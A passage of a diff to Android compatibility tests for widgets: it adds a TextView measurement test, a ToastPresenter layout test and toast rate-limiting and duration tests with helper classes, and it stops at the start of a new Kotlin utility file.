+        assertFalse(mTextView.isCursorVisible());
+
+        input.closeConnection();
+        assertTrue(mTextView.isCursorVisible());
+    }
+
+    @UiThreadTest
+    @Test
     public void testPerformLongClick() {
         mTextView = findTextView(R.id.textview_text);
         mTextView.setText("This is content");
@@ -8583,6 +8722,27 @@
         assertEquals(TextDirectionHeuristics.LOCALE, textView.getTextDirectionHeuristic());
     }
 
+    @Test
+    public void measureConsistency() {
+        String text = "12\n34";
+        TextView textView = new TextView(mActivity);
+        textView.setTextSize(TypedValue.COMPLEX_UNIT_PX, 100);
+        textView.setText(text);
+
+        int width = (int) Math.ceil(Layout.getDesiredWidth(text, textView.getPaint()));
+        int height = StaticLayout.Builder.obtain(text, 0, text.length(),
+                textView.getPaint(), width).build().getHeight();
+        // Reserve enough width for the text.
+        int wMeasureSpec = View.MeasureSpec.makeMeasureSpec(width * 2, View.MeasureSpec.AT_MOST);
+        int hMeasureSpec = View.MeasureSpec.makeMeasureSpec(height * 2, View.MeasureSpec.AT_MOST);
+
+        textView.measure(wMeasureSpec, hMeasureSpec);
+        int measuredWidth = textView.getMeasuredWidth();
+
+        textView.measure(wMeasureSpec, hMeasureSpec);
+        assertEquals(measuredWidth, textView.getMeasuredWidth());
+    }
+
     private void initializeTextForSmartSelection(CharSequence text) throws Throwable {
         assertTrue(text.length() >= SMARTSELECT_END);
         mActivityRule.runOnUiThread(() -> {
diff --git a/tests/tests/widget/src/android/widget/cts/ToastPresenterTest.java b/tests/tests/widget/src/android/widget/cts/ToastPresenterTest.java
new file mode 100644
index 0000000..70f03a7
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ToastPresenterTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.INotificationManager;
+import android.content.Context;
+import android.os.Binder;
+import android.os.ServiceManager;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.accessibility.IAccessibilityManager;
+import android.widget.FrameLayout;
+import android.widget.ToastPresenter;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ToastPresenterTest {
+    private static final String PACKAGE_NAME = "pkg";
+
+    private Context mContext;
+    private ToastPresenter mToastPresenter;
+
+    @Before
+    public void setup() {
+        mContext = getInstrumentation().getContext();
+
+        mToastPresenter = new ToastPresenter(
+                mContext,
+                IAccessibilityManager.Stub.asInterface(
+                        ServiceManager.getService(Context.ACCESSIBILITY_SERVICE)),
+                INotificationManager.Stub.asInterface(
+                        ServiceManager.getService(Context.NOTIFICATION_SERVICE)),
+                PACKAGE_NAME);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testUpdateLayoutParams() {
+        View view = new FrameLayout(mContext);
+        Binder token = new Binder();
+        Binder windowToken = new Binder();
+        mToastPresenter.show(view, token, windowToken, 0, 0, 0, 0, 0, 0, null);
+        mToastPresenter.updateLayoutParams(1, 2, 3, 4, 0);
+
+        WindowManager.LayoutParams lp = (WindowManager.LayoutParams) view.getLayoutParams();
+        assertEquals(1, lp.x);
+        assertEquals(2, lp.y);
+        assertEquals(3, (int) lp.horizontalMargin);
+        assertEquals(4, (int) lp.verticalMargin);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 01ecbdb..08b9067 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -19,6 +19,8 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertEquals;
@@ -29,7 +31,10 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
+import static java.util.stream.Collectors.toList;
+
 import android.app.ActivityOptions;
+import android.app.NotificationManager;
 import android.app.UiAutomation;
 import android.app.UiAutomation.AccessibilityEventFilter;
 import android.content.BroadcastReceiver;
@@ -54,7 +59,6 @@
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
-import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
 import androidx.test.filters.LargeTest;
 import androidx.test.rule.ActivityTestRule;
@@ -66,14 +70,18 @@
 
 import junit.framework.Assert;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Stream;
 
 @LargeTest
 @RunWith(AndroidJUnit4.class)
@@ -85,12 +93,20 @@
     private static final int ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS = 3000;
     private static final long TIME_FOR_UI_OPERATION  = 1000L;
     private static final long TIME_OUT = 5000L;
+    private static final int MAX_PACKAGE_TOASTS_LIMIT = 5;
     private static final String ACTION_TRANSLUCENT_ACTIVITY_RESUMED =
             "android.widget.cts.app.TRANSLUCENT_ACTIVITY_RESUMED";
     private static final String ACTION_TRANSLUCENT_ACTIVITY_FINISH =
             "android.widget.cts.app.TRANSLUCENT_ACTIVITY_FINISH";
     private static final ComponentName COMPONENT_TRANSLUCENT_ACTIVITY =
             ComponentName.unflattenFromString("android.widget.cts.app/.TranslucentActivity");
+    private static final double TOAST_DURATION_ERROR_TOLERANCE_FRACTION = 0.25;
+
+    // The following two fields work together to define rate limits for toasts, where each limit is
+    // defined as TOAST_RATE_LIMITS[i] toasts are allowed in the window of length
+    // TOAST_WINDOW_SIZES_MS[i].
+    private static final int[] TOAST_RATE_LIMITS = {3, 5, 6};
+    private static final long[] TOAST_WINDOW_SIZES_MS = {20_000, 42_000, 68_000};
 
     private Toast mToast;
     private Context mContext;
@@ -98,6 +114,7 @@
     private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
     private ConditionVariable mToastShown;
     private ConditionVariable mToastHidden;
+    private NotificationManager mNotificationManager;
 
     @Rule
     public ActivityTestRule<CtsActivity> mActivityRule =
@@ -106,9 +123,22 @@
 
     @Before
     public void setup() {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mContext = getInstrumentation().getContext();
+        mUiAutomation = getInstrumentation().getUiAutomation();
         mLayoutListener = () -> mLayoutDone = true;
+        mNotificationManager =
+                mContext.getSystemService(NotificationManager.class);
+        // disable rate limiting for tests
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(false));
+    }
+
+    @After
+    public void teardown() {
+        waitForToastToExpire();
+        // re-enable rate limiting
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
     }
 
     @UiThreadTest
@@ -123,32 +153,54 @@
         new Toast(null);
     }
 
-    private static void assertShowCustomToast(final View view) {
+    private static void assertCustomToastShown(final View view) {
         PollingCheck.waitFor(TIME_OUT, () -> null != view.getParent());
     }
 
-    private void assertShowToast(Toast toast) {
-        assertTrue(mToastShown.block(TIME_OUT));
+    private static void assertCustomToastShown(CustomToastInfo customToastInfo) {
+        PollingCheck.waitFor(TIME_OUT, customToastInfo::isShowing);
     }
 
-    private static void assertShowAndHideCustomToast(final View view) {
-        assertShowCustomToast(view);
+    private static void assertCustomToastHidden(CustomToastInfo customToastInfo) {
+        PollingCheck.waitFor(TIME_OUT, () -> !customToastInfo.isShowing());
+    }
+
+    private static void assertCustomToastShownAndHidden(final View view) {
+        assertCustomToastShown(view);
         PollingCheck.waitFor(TIME_OUT, () -> null == view.getParent());
     }
 
-    private void assertShowAndHide(Toast toast) {
+    private static void assertCustomToastShownAndHidden(CustomToastInfo customToastInfo) {
+        assertCustomToastShown(customToastInfo);
+        assertCustomToastHidden(customToastInfo);
+    }
+
+    private void assertTextToastShownAndHidden() {
         assertTrue(mToastShown.block(TIME_OUT));
         assertTrue(mToastHidden.block(TIME_OUT));
     }
 
-    private static void assertNotShowCustomToast(final View view) {
+    private void assertTextToastShownAndHidden(TextToastInfo textToastInfo) {
+        assertTrue(textToastInfo.blockOnToastShown(TIME_OUT));
+        assertTrue(textToastInfo.blockOnToastHidden(TIME_OUT));
+    }
+
+    private static void assertCustomToastNotShown(final View view) {
         // sleep a while and then make sure do not show toast
         SystemClock.sleep(TIME_FOR_UI_OPERATION);
         assertNull(view.getParent());
     }
 
-    private void assertNotShowToast(Toast toast) {
-        assertFalse(mToastShown.block(TIME_FOR_UI_OPERATION));
+    private static void assertCustomToastNotShown(CustomToastInfo customToastInfo) {
+        assertThat(customToastInfo.isShowing()).isFalse();
+
+        // sleep a while and then make sure it's still not shown
+        SystemClock.sleep(TIME_FOR_UI_OPERATION);
+        assertThat(customToastInfo.isShowing()).isFalse();
+    }
+
+    private void assertTextToastNotShown(TextToastInfo textToastInfo) {
+        assertFalse(textToastInfo.blockOnToastShown(TIME_FOR_UI_OPERATION));
     }
 
     private void registerLayoutListener(final View view) {
@@ -161,7 +213,7 @@
         view.getViewTreeObserver().removeOnGlobalLayoutListener(mLayoutListener);
     }
 
-    private void makeToast() throws Throwable {
+    private void makeTextToast() throws Throwable {
         mToastShown = new ConditionVariable(false);
         mToastHidden = new ConditionVariable(false);
         mActivityRule.runOnUiThread(
@@ -183,6 +235,28 @@
         );
     }
 
+    private void waitForToastToExpire() {
+        if (mToast == null) {
+            return;
+        }
+        // text toast case
+        if (mToastShown != null && mToastHidden != null) {
+            boolean toastShown = mToastShown.block(/* return immediately */ 1);
+            boolean toastHidden = mToastHidden.block(/* return immediately */ 1);
+
+            if (toastShown && !toastHidden) {
+                assertTrue(mToastHidden.block(TIME_OUT));
+            }
+            return;
+        }
+
+        // custom toast case
+        View view = mToast.getView();
+        if (view != null && view.getParent() != null) {
+            PollingCheck.waitFor(TIME_OUT, () -> view.getParent() == null);
+        }
+    }
+
     @Test
     public void testShow_whenCustomToast() throws Throwable {
         makeCustomToast();
@@ -197,16 +271,70 @@
 
         // view will be attached to screen when show it
         assertEquals(View.VISIBLE, view.getVisibility());
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
     }
 
     @Test
     public void testShow_whenTextToast() throws Throwable {
-        makeToast();
+        makeTextToast();
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
+    }
+
+    @Test
+    public void testHideTextToastAfterExpirationOfFirstShowCall_despiteRepeatedShowCalls()
+            throws Throwable {
+        // Measure the length of a long toast.
+        makeTextToast();
+        long start1 = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(mToast::show);
+        assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
+        assertTextToastShownAndHidden();
+        long longDurationMs = SystemClock.uptimeMillis() - start1;
+
+        // Call show in the middle of the toast duration.
+        makeTextToast();
+        long start2 = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(mToast::show);
+        assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
+        SystemClock.sleep(longDurationMs / 2);
+        mActivityRule.runOnUiThread(mToast::show);
+        assertTextToastShownAndHidden();
+        long repeatCallDurationMs = SystemClock.uptimeMillis() - start2;
+
+        // Assert duration was roughly the same despite a repeat call.
+        assertThat((double) repeatCallDurationMs)
+                .isWithin(longDurationMs * TOAST_DURATION_ERROR_TOLERANCE_FRACTION)
+                .of(longDurationMs);
+    }
+
+    @Test
+    public void testHideCustomToastAfterExpirationOfFirstShowCall_despiteRepeatedShowCalls()
+            throws Throwable {
+        // Measure the length of a long toast.
+        makeCustomToast();
+        long start1 = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(mToast::show);
+        assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
+        assertCustomToastShownAndHidden(mToast.getView());
+        long longDurationMs = SystemClock.uptimeMillis() - start1;
+
+        // Call show in the middle of the toast duration.
+        makeCustomToast();
+        long start2 = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(mToast::show);
+        assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
+        SystemClock.sleep(longDurationMs / 2);
+        mActivityRule.runOnUiThread(mToast::show);
+        assertCustomToastShownAndHidden(mToast.getView());
+        long repeatCallDurationMs = SystemClock.uptimeMillis() - start2;
+
+        // Assert duration was roughly the same despite a repeat call.
+        assertThat((double) repeatCallDurationMs)
+                .isWithin(longDurationMs * TOAST_DURATION_ERROR_TOLERANCE_FRACTION)
+                .of(longDurationMs);
     }
 
     @UiThreadTest
@@ -231,12 +359,12 @@
             mToast.cancel();
         });
 
-        assertNotShowCustomToast(view);
+        assertCustomToastNotShown(view);
     }
 
     @Test
     public void testAccessView_whenCustomToast() throws Throwable {
-        makeToast();
+        makeTextToast();
         assertFalse(mToast.getView() instanceof ImageView);
 
         final ImageView imageView = new ImageView(mContext);
@@ -248,7 +376,7 @@
             mToast.show();
         });
         assertSame(imageView, mToast.getView());
-        assertShowAndHideCustomToast(imageView);
+        assertCustomToastShownAndHidden(imageView);
     }
 
     @Test
@@ -259,7 +387,7 @@
         assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
 
         View view = mToast.getView();
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
         long longDuration = SystemClock.uptimeMillis() - start;
 
         start = SystemClock.uptimeMillis();
@@ -270,7 +398,7 @@
         assertEquals(Toast.LENGTH_SHORT, mToast.getDuration());
 
         view = mToast.getView();
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
         long shortDuration = SystemClock.uptimeMillis() - start;
 
         assertTrue(longDuration > shortDuration);
@@ -279,22 +407,22 @@
     @Test
     public void testAccessDuration_whenTextToast() throws Throwable {
         long start = SystemClock.uptimeMillis();
-        makeToast();
+        makeTextToast();
         mActivityRule.runOnUiThread(mToast::show);
         assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
         long longDuration = SystemClock.uptimeMillis() - start;
 
         start = SystemClock.uptimeMillis();
-        makeToast();
+        makeTextToast();
         mActivityRule.runOnUiThread(() -> {
             mToast.setDuration(Toast.LENGTH_SHORT);
             mToast.show();
         });
         assertEquals(Toast.LENGTH_SHORT, mToast.getDuration());
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
         long shortDuration = SystemClock.uptimeMillis() - start;
 
         assertTrue(longDuration > shortDuration);
@@ -309,7 +437,7 @@
         };
         long start = SystemClock.uptimeMillis();
         runOnMainAndDrawSync(mToast.getView(), showToast);
-        assertShowAndHideCustomToast(mToast.getView());
+        assertCustomToastShownAndHidden(mToast.getView());
         final long shortDuration = SystemClock.uptimeMillis() - start;
 
         final String originalSetting = Settings.Secure.getString(mContext.getContentResolver(),
@@ -322,7 +450,7 @@
                     ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS, a11ySettingDuration);
             start = SystemClock.uptimeMillis();
             runOnMainAndDrawSync(mToast.getView(), showToast);
-            assertShowAndHideCustomToast(mToast.getView());
+            assertCustomToastShownAndHidden(mToast.getView());
             final long a11yDuration = SystemClock.uptimeMillis() - start;
             assertTrue("Toast duration " + a11yDuration + "ms < A11y setting " + a11ySettingDuration
                     + "ms", a11yDuration >= a11ySettingDuration);
@@ -333,14 +461,14 @@
 
     @Test
     public void testAccessDuration_whenTextToastAndWithA11yTimeoutEnabled() throws Throwable {
-        makeToast();
+        makeTextToast();
         final Runnable showToast = () -> {
             mToast.setDuration(Toast.LENGTH_SHORT);
             mToast.show();
         };
         long start = SystemClock.uptimeMillis();
         mActivityRule.runOnUiThread(showToast);
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
         final long shortDuration = SystemClock.uptimeMillis() - start;
 
         final String originalSetting = Settings.Secure.getString(mContext.getContentResolver(),
@@ -351,10 +479,10 @@
                     Integer.toString(a11ySettingDuration));
             waitForA11yRecommendedTimeoutChanged(mContext,
                     ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS, a11ySettingDuration);
-            makeToast();
+            makeTextToast();
             start = SystemClock.uptimeMillis();
             mActivityRule.runOnUiThread(showToast);
-            assertShowAndHide(mToast);
+            assertTextToastShownAndHidden();
             final long a11yDuration = SystemClock.uptimeMillis() - start;
             assertTrue("Toast duration " + a11yDuration + "ms < A11y setting " + a11ySettingDuration
                     + "ms", a11yDuration >= a11ySettingDuration);
@@ -412,7 +540,7 @@
             mToast.show();
             registerLayoutListener(mToast.getView());
         });
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
 
         assertEquals(horizontal1, mToast.getHorizontalMargin(), 0.0f);
         assertEquals(vertical1, mToast.getVerticalMargin(), 0.0f);
@@ -423,7 +551,7 @@
 
         int[] xy1 = new int[2];
         view.getLocationOnScreen(xy1);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         final float horizontal2 = 0.1f;
         final float vertical2 = 0.1f;
@@ -432,7 +560,7 @@
             mToast.show();
             registerLayoutListener(mToast.getView());
         });
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
 
         assertEquals(horizontal2, mToast.getHorizontalMargin(), 0.0f);
         assertEquals(vertical2, mToast.getVerticalMargin(), 0.0f);
@@ -443,7 +571,7 @@
         assertLayoutDone(view);
         int[] xy2 = new int[2];
         view.getLocationOnScreen(xy2);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         /** Check if the test is being run on a watch.
          *
@@ -471,14 +599,14 @@
             registerLayoutListener(mToast.getView());
         });
         View view = mToast.getView();
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
         assertEquals(Gravity.CENTER, mToast.getGravity());
         assertEquals(0, mToast.getXOffset());
         assertEquals(0, mToast.getYOffset());
         assertLayoutDone(view);
         int[] centerXY = new int[2];
         view.getLocationOnScreen(centerXY);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         runOnMainAndDrawSync(mToast.getView(), () -> {
             mToast.setGravity(Gravity.BOTTOM, 0, 0);
@@ -486,14 +614,14 @@
             registerLayoutListener(mToast.getView());
         });
         view = mToast.getView();
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
         assertEquals(Gravity.BOTTOM, mToast.getGravity());
         assertEquals(0, mToast.getXOffset());
         assertEquals(0, mToast.getYOffset());
         assertLayoutDone(view);
         int[] bottomXY = new int[2];
         view.getLocationOnScreen(bottomXY);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         // x coordinate is the same
         assertEquals(centerXY[0], bottomXY[0]);
@@ -508,14 +636,14 @@
             registerLayoutListener(mToast.getView());
         });
         view = mToast.getView();
-        assertShowCustomToast(view);
+        assertCustomToastShown(view);
         assertEquals(Gravity.BOTTOM, mToast.getGravity());
         assertEquals(xOffset, mToast.getXOffset());
         assertEquals(yOffset, mToast.getYOffset());
         assertLayoutDone(view);
         int[] bottomOffsetXY = new int[2];
         view.getLocationOnScreen(bottomOffsetXY);
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
 
         assertEquals(bottomXY[0] + xOffset, bottomOffsetXY[0]);
         assertEquals(bottomXY[1] - yOffset, bottomOffsetXY[1]);
@@ -637,14 +765,14 @@
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
         assertFalse(toastShown.isDone());
         assertFalse(toastHidden.isDone());
     }
 
     @Test(expected = NullPointerException.class)
     public void testAddCallback_whenNull_throws() throws Throwable {
-        makeToast();
+        makeTextToast();
         mToast.addCallback(null);
     }
 
@@ -680,11 +808,11 @@
 
     @Test
     public void testTextToastAllowed_whenInTheForeground() throws Throwable {
-        makeToast();
+        makeTextToast();
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
     }
 
     @Test
@@ -696,18 +824,18 @@
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHideCustomToast(view);
+        assertCustomToastShownAndHidden(view);
     }
 
     @Test
     public void testTextToastAllowed_whenInTheBackground() throws Throwable {
         // Make it background
         mActivityRule.finishActivity();
-        makeToast();
+        makeTextToast();
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertShowAndHide(mToast);
+        assertTextToastShownAndHidden();
     }
 
     @Test
@@ -721,7 +849,7 @@
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertNotShowCustomToast(view);
+        assertCustomToastNotShown(view);
     }
 
     @Test
@@ -742,7 +870,7 @@
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertNotShowCustomToast(view);
+        assertCustomToastNotShown(view);
         mContext.sendBroadcast(new Intent(ACTION_TRANSLUCENT_ACTIVITY_FINISH));
     }
 
@@ -763,7 +891,7 @@
 
     @Test
     public void testShow_whenTextToast_sendsAccessibilityEvent() throws Throwable {
-        makeToast();
+        makeTextToast();
         AccessibilityEventFilter filter =
                 event -> event.getEventType() == AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED;
 
@@ -793,6 +921,151 @@
         assertThat(event.getText()).contains(TEST_CUSTOM_TOAST_TEXT);
     }
 
+    @Test
+    public void testPackageCantPostMoreThanMaxToastsQuickly() throws Throwable {
+        List<TextToastInfo> toasts =
+                createTextToasts(MAX_PACKAGE_TOASTS_LIMIT + 1, "Text", Toast.LENGTH_SHORT);
+        showToasts(toasts);
+
+        assertTextToastsShownAndHidden(toasts.subList(0, MAX_PACKAGE_TOASTS_LIMIT));
+        assertTextToastNotShown(toasts.get(MAX_PACKAGE_TOASTS_LIMIT));
+    }
+
+    @Test
+    public void testRateLimitingToastsWhenInBackground() throws Throwable {
+        // enable rate limiting to test it
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
+        // move to background
+        mActivityRule.finishActivity();
+
+        long totalTimeSpentMs = 0;
+        int shownToastsNum = 0;
+        // We add additional 3 seconds just to be sure we get into the next window.
+        long additionalWaitTime = 3_000L;
+
+        for (int i = 0; i < TOAST_RATE_LIMITS.length; i++) {
+            int currentToastNum = TOAST_RATE_LIMITS[i] - shownToastsNum;
+            List<TextToastInfo> toasts =
+                    createTextToasts(currentToastNum + 1, "Text", Toast.LENGTH_SHORT);
+            long startTime = SystemClock.elapsedRealtime();
+            showToasts(toasts);
+
+            assertTextToastsShownAndHidden(toasts.subList(0, currentToastNum));
+            assertTextToastNotShown(toasts.get(currentToastNum));
+            long endTime = SystemClock.elapsedRealtime();
+
+            // We won't check after the last limit, no need to sleep then.
+            if (i != TOAST_RATE_LIMITS.length - 1) {
+                totalTimeSpentMs += endTime - startTime;
+                shownToastsNum += currentToastNum;
+                long sleepTime = Math.max(
+                        TOAST_WINDOW_SIZES_MS[i] - totalTimeSpentMs + additionalWaitTime, 0);
+                SystemClock.sleep(sleepTime);
+                totalTimeSpentMs += sleepTime;
+            }
+        }
+    }
+
+    @Test
+    public void testDontRateLimitToastsWhenInForeground() throws Throwable {
+        // enable rate limiting to test it
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
+
+        List<TextToastInfo> toasts =
+                createTextToasts(TOAST_RATE_LIMITS[0] + 1, "Text", Toast.LENGTH_SHORT);
+        showToasts(toasts);
+        assertTextToastsShownAndHidden(toasts);
+    }
+
+    @Test
+    public void testCustomToastPostedWhileInForeground_notShownWhenAppGoesToBackground()
+            throws Throwable {
+        List<CustomToastInfo> toasts = createCustomToasts(2, "Custom", Toast.LENGTH_SHORT);
+        showToasts(toasts);
+        assertCustomToastShown(toasts.get(0));
+
+        // move to background
+        mActivityRule.finishActivity();
+
+        assertCustomToastHidden(toasts.get(0));
+        assertCustomToastNotShown(toasts.get(1));
+    }
+
+    @Test
+    public void testAppWithUnlimitedToastsPermissionCanPostUnlimitedToasts() throws Throwable {
+        // enable rate limiting to test it
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
+        // move to background
+        mActivityRule.finishActivity();
+
+        int highestToastRateLimit = TOAST_RATE_LIMITS[TOAST_RATE_LIMITS.length - 1];
+        List<TextToastInfo> toasts = createTextToasts(highestToastRateLimit + 1, "Text",
+                Toast.LENGTH_SHORT);
+
+        // We have to show one by one to avoid max number of toasts enqueued by a single package at
+        // a time.
+        for (TextToastInfo t : toasts) {
+            // The shell has the android.permission.UNLIMITED_TOASTS permission.
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                try {
+                    showToast(t);
+                } catch (Throwable throwable) {
+                    throw new RuntimeException(throwable);
+                }
+            });
+            assertTextToastShownAndHidden(t);
+        }
+    }
+
+    /** Create given number of text toasts with the same given text and length. */
+    private List<TextToastInfo> createTextToasts(int num, String text, int length)
+            throws Throwable {
+        List<TextToastInfo> toasts = new ArrayList<>();
+        mActivityRule.runOnUiThread(() -> {
+            toasts.addAll(Stream
+                    .generate(() -> TextToastInfo.create(mContext, text, length))
+                    .limit(num)
+                    .collect(toList()));
+        });
+        return toasts;
+    }
+
+    /** Create given number of custom toasts with the same given text and length. */
+    private List<CustomToastInfo> createCustomToasts(int num, String text, int length)
+            throws Throwable {
+        List<CustomToastInfo> toasts = new ArrayList<>();
+        mActivityRule.runOnUiThread(() -> {
+            toasts.addAll(Stream
+                    .generate(() -> CustomToastInfo.create(mContext, text, length))
+                    .limit(num)
+                    .collect(toList()));
+        });
+        return toasts;
+    }
+
+    private void showToasts(List<? extends ToastInfo> toasts) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            for (ToastInfo t : toasts) {
+                t.getToast().show();
+            }
+        });
+    }
+
+    private void showToast(ToastInfo toast) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            toast.getToast().show();
+        });
+    }
+
+    private void assertTextToastsShownAndHidden(List<TextToastInfo> toasts) {
+        for (int i = 0; i < toasts.size(); i++) {
+            assertTextToastShownAndHidden(toasts.get(i));
+        }
+    }
+
     private ConditionVariable registerBlockingReceiver(String action) {
         ConditionVariable broadcastReceived = new ConditionVariable(false);
         IntentFilter filter = new IntentFilter(action);
@@ -875,4 +1148,70 @@
             mToastHidden.open();
         }
     }
+
+    private static class TextToastInfo implements ToastInfo {
+        private final Toast mToast;
+        private final ConditionVariable mToastShown;
+        private final ConditionVariable mToastHidden;
+
+        TextToastInfo(
+                Toast toast,
+                ConditionVariable toastShown,
+                ConditionVariable toastHidden) {
+            mToast = toast;
+            mToastShown = toastShown;
+            mToastHidden = toastHidden;
+        }
+
+        static TextToastInfo create(Context context, String text, int toastLength) {
+            Toast t = Toast.makeText(context, text, toastLength);
+            ConditionVariable toastShown = new ConditionVariable(false);
+            ConditionVariable toastHidden = new ConditionVariable(false);
+            t.addCallback(new ConditionCallback(toastShown, toastHidden));
+            return new TextToastInfo(t, toastShown, toastHidden);
+        }
+
+        @Override
+        public Toast getToast() {
+            return mToast;
+        }
+
+        boolean blockOnToastShown(long timeout) {
+            return mToastShown.block(timeout);
+        }
+
+        boolean blockOnToastHidden(long timeout) {
+            return mToastHidden.block(timeout);
+        }
+    }
+
+    private static class CustomToastInfo implements ToastInfo {
+        private final Toast mToast;
+
+        CustomToastInfo(Toast toast) {
+            mToast = toast;
+        }
+
+        static CustomToastInfo create(Context context, String text, int toastLength) {
+            Toast t = new Toast(context);
+            t.setDuration(toastLength);
+            TextView view = new TextView(context);
+            view.setText(text);
+            t.setView(view);
+            return new CustomToastInfo(t);
+        }
+
+        @Override
+        public Toast getToast() {
+            return mToast;
+        }
+
+        boolean isShowing() {
+            return mToast.getView().getParent() != null;
+        }
+    }
+
+    interface ToastInfo {
+        Toast getToast();
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt b/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
new file mode 100644
index 0000000..8aa68ee
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
@@ -0,0 +1,406 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+@file:JvmName("StretchEdgeUtil")
+
+package android.widget.cts.util
+
+import android.graphics.Bitmap
+import android.graphics.Color
+import android.graphics.Rect
+import android.os.SystemClock
+import android.view.PixelCopy
+import android.view.View
+import android.view.Window
+import android.view.animation.AnimationUtils
